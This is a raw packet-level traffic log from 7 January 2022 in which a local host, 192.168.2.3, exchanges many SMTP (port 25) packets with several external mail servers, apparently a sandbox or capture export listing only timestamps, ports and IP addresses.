Jan 7, 2022 15:54:10.442611933 CET	49769	25	192.168.2.3	91.136.8.46
Jan 7, 2022 15:54:10.445549011 CET	25	49774	91.136.8.47	192.168.2.3
Jan 7, 2022 15:54:10.445674896 CET	49774	25	192.168.2.3	91.136.8.47
Jan 7, 2022 15:54:11.137887955 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:11.198237896 CET	25	49775	213.186.119.6	192.168.2.3
Jan 7, 2022 15:54:11.198332071 CET	49775	25	192.168.2.3	213.186.119.6
Jan 7, 2022 15:54:11.493221998 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.519936085 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.520055056 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.548011065 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.551790953 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.578409910 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.582123041 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.583700895 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.610641956 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.611105919 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.642920971 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.762475014 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.762911081 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.765335083 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:11.789494038 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.790043116 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.790286064 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.790991068 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.807307005 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.807420969 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:11.817672014 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.817694902 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.817703009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.817714930 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.817728043 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.817939997 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.822943926 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.823041916 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.844629049 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844655991 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844700098 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844711065 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844723940 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844736099 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844746113 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844754934 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844765902 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844777107 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844786882 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844799042 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844808102 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844928026 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.844938040 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844950914 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844963074 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844974995 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844985962 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.844997883 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.845024109 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.845051050 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.849431038 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.849572897 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.849586964 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.849633932 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:11.849674940 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.871627092 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871649027 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871660948 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871674061 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871685028 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871697903 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871710062 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871721983 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871732950 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871743917 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871756077 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871767044 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.871767998 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871781111 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871793032 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871822119 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871864080 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.871877909 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871891022 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871901035 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871901035 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.871910095 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871916056 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.871932030 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871944904 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871956110 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.871964931 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.871988058 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.871989012 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872021914 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872035027 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872046947 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872059107 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872066021 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.872071981 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872091055 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.872123003 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872134924 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872145891 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872158051 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872170925 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872183084 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872194052 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872204065 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.872206926 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.872245073 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.872270107 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.876207113 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.876225948 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.876235008 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.876246929 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.876291037 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.876343012 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.891410112 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.898431063 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898458004 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898468971 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898480892 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898555994 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.898610115 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.898875952 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898910999 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898921967 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898951054 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898988962 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.898999929 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899002075 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899013996 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899027109 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899036884 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899039030 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899079084 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899107933 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899116993 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899121046 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899133921 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899147034 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899158001 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899172068 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899185896 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899199009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899213076 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899219990 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899224997 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899229050 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899257898 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899280071 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899298906 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899300098 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899317026 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899328947 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899342060 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899353981 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899365902 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899372101 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899378061 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899430037 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899435997 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899444103 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899457932 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899470091 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899472952 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899481058 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899493933 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899498940 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899502039 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899516106 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899528980 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899539948 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899552107 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899560928 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899574041 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899583101 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899602890 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899631977 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899645090 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899674892 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899688005 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899713993 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899738073 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899749994 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899749994 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899763107 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899764061 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899776936 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899789095 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899791956 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899797916 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899810076 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899821043 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899833918 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899847031 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899867058 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899904966 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899930954 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.899935007 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899946928 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899960041 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899970055 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899981976 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.899995089 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.900005102 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.900012970 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.900023937 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.900032043 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.900044918 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.900063992 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.900132895 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.901782990 CET	25	49777	194.152.32.74	192.168.2.3
Jan 7, 2022 15:54:11.901913881 CET	49777	25	192.168.2.3	194.152.32.74
Jan 7, 2022 15:54:11.902734995 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902789116 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902826071 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.902857065 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902869940 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.902872086 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902884960 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902895927 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902905941 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902908087 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.902915001 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.902950048 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.902985096 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.925179958 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925201893 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925214052 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925226927 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925235033 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925246000 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925259113 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925272942 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925297976 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.925405025 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.925434113 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925492048 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.925578117 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925590992 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925604105 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925616026 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925627947 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925640106 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925654888 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.925699949 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.925795078 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925827980 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.925903082 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926000118 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926012993 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926043987 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926076889 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926090002 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926089048 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926117897 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926152945 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926232100 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926315069 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926316023 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926327944 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926341057 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926424026 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926472902 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926485062 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926517963 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926528931 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926620960 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926654100 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926666975 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926680088 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926691055 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926702023 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926714897 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926727057 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926738977 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926742077 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926752090 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926780939 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926809072 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926822901 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926837921 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926848888 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926860094 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926872015 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926882982 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926894903 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926899910 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926903009 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926915884 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926927090 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926939011 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.926958084 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.926987886 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927001953 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927027941 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927051067 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927057981 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927071095 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927083015 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927093983 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927108049 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927119970 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927130938 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927143097 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927161932 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927169085 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927205086 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927227974 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927248001 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927259922 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927269936 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927310944 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927318096 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927330971 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927340984 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927364111 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927381039 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927414894 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927428007 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927432060 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927440882 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927452087 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927464008 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927475929 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927479982 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927489996 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927504063 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927516937 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927530050 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927530050 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927541971 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927556038 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927563906 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927567005 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927577972 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927592993 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927598000 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927606106 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927618980 CET	25	49776	108.177.119.26	192.168.2.3
Jan 7, 2022 15:54:11.927620888 CET	49776	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:54:11.927632093 CET	25	49776	108.177.119.26	192.168.2.3
